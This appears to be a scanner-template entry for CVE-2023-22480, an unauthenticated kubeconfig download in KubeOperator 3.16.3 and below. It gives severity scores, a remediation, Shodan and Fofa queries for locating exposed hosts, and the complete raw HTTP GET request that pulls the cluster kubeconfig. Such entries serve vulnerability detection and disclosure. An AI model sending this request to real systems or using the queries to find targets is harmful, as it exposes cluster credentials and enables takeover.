| Title | KubeOperator Foreground `kubeconfig` - File Download |
|---|---|
| Author | DhiyaneshDk |
| Severity | Critical |
| Impact | An attacker can download sensitive files from the KubeOperator Foreground kubeconfig file, potentially leading to unauthorized access or exposure of sensitive information. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.76011 |
| CVE ID | CVE-2023-22480 |
| CWE ID | CWE-863,CWE-285 |
| Shodan Query | html:"KubeOperator"http.html:"kubeoperator" |
| Fofa Query | app="KubeOperator"body="kubeoperator"app="kubeoperator" |
| Tags | cve2023 cve kubeoperator k8s kubeconfig exposure fit2cloud vuln |
KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.
GET /api/v1/clusters/kubeconfig/k8s HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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